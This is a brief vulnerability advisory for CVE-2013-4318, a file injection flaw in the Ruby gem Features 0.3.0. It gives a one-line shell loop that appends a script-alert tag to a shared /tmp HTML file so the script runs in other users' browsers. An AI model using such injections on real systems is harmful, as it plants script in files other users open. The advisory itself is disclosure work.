Features 0.3.0 Ruby gem file injection vulnerability
CVE ID(s):
CVE-2013-4318
Notified: 2013-09-01
Description:
Plaintext User Stories Parser supporting native programming languages. Especially Objective-C
Exploit:
nobody () sp0rk:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/out.html; done
The above will pop up a java script alert in other gem users browser.
Notes:
96975